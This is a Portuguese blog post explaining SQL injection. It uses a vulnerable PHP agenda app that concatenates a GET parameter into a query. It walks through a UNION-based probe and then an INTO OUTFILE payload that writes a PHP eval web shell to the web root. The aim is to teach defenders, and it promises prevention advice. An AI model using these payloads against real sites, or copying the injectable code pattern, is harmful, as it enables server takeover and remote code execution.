Muito se houve falar dos perigos da injeção de SQL ou, como é mais conhecido o termo, SQL injection. Mas acho falho manterem como principal exemplo o ganho de acesso a áreas restritas de sites ou a possibilidade de estragos ao banco de dados, deixando de lado outras  possibilidades ainda mais danosas. Por isso, e por achar que há pouca informação sobre uma técnica cujos danos eu julgo serem piores que os exemplos acima, preferi escrever sobre a possibilidade de introdução de código num site atacado.

Suponhamos que você tenha criado uma agenda online para uma empresa e que, nessa agenda, o usuário pode consultar seus compromissos. Para isso, você fez um código PHP parecido com:


$conexao = mysql_connect('mysql.exemplo.com', 'root', 'password123');
mysql_select_db('agenda', $conexao);
$consulta = mysql_query('SELECT CompromissoNome, CompromissoData, CompromissoImportancia FROM Compromisso WHERE UsuarioID = ' . $_GET['Usuario'], $conexao);
echo '<table><tr><td>Nome</td><td>Data</td><td>Importância</td></tr>';
while ($linha = mysql_fetch_row($consulta))
{
echo "<tr><td>{$linha[0]}</td><td>{$linha[1]}</td><td>{$linha[2]}</td></tr>";
}
echo '</table>';
...

Então, um funcionário resolve atacar a agenda porque quer tentar usar o site da empresa como um "zumbi". Seu primeiro passo é verificar se a aplicação aceita injeção de SQL. Por saber que uma consulta aos compromissos por data retorna uma lista com três campos., ele faz o seguinte:

  • entra no site com sua senha;
  • consulta seus compromissos;
  • verifica que essa consulta é feita por uma URL do tipo: http://exemplo.com/index.php?Usuario=15;
  • nisso, seu código SQL ficaria assim: SELECT CompromissoNome, CompromissoData, CompromissoImportancia FROM Compromisso WHERE UsuarioID = 15;
  • e o usuário receberia uma tabela com um compromisso por linha;
  • o usuário então mudaria a URL para: http://exemplo.com/index.php?Usuario=15 UNION ALL SELECT 1, 2, 3;
  • seu código SQL mudaria para: SELECT CompromissoNome, CompromissoData, CompromissoImportancia FROM Compromisso WHERE UsuarioID = 15 UNION ALL SELECT 1, 2, 3;
  • e o usuário receberia a mesma tabela, mas com uma linha adicional mostrando: 1 no campo Nome, 2 no campo Data e 3 no campo Importância;

isso já garante ao usuário que sua agenda aceita SQL Injection.

Outros testes deveriam ser feitos para colher mais dados como, por exemplo, se a conta que acessa o banco de dados tem privilégio FILE. Mas o usuário parte direto para o ataque assim:

  • descobre o DocumentRoot da agenda. Isso pode ser feito de várias formas. Infelizmente, uma que dá bastante resultado é acessar http://exemplo.com/phpinfo.php. É impressionante o número de pessoas que não apagam esse tipo de página quando não precisam mais dela;
  • e altera novamente a URL para algo como http://exemplo.com/index.php?Usuario=15 UNION ALL SELECT "<?php @eval($GET['acao']);?>",2,3 INO OUTFILE "/var/www/agenda/zumbi.php";
  • seu código SQL ficaria: SELECT CompromissoNome, CompromissoData, CompromissoImportancia FROM Compromisso WHERE UsuarioID = 15 UNION ALL SELECT "<?php @eval($GET['acao']);?>",2,3 INO OUTFILE "/var/www/agenda/zumbi.php"

Isso cria um arquivo PHP na raiz do site que executa qualquer comando passado como parâmetro. Ele agora pode, sem precisar se logar à agenda, fazer do site da empresa um "zumbi". Para testar, ele usa a URL http://exemplo.com/zumbi.php?acao=phpinfo().
No próximo post falarei de práticas que aprendi para evitar SQL Injection. Mas já dá para perceber que não se pode usar o conteúdo de $_GET e $_POST diretamente, nem dar privilégios perigosos a usuários, não é?

Receba as novidades do site via RSS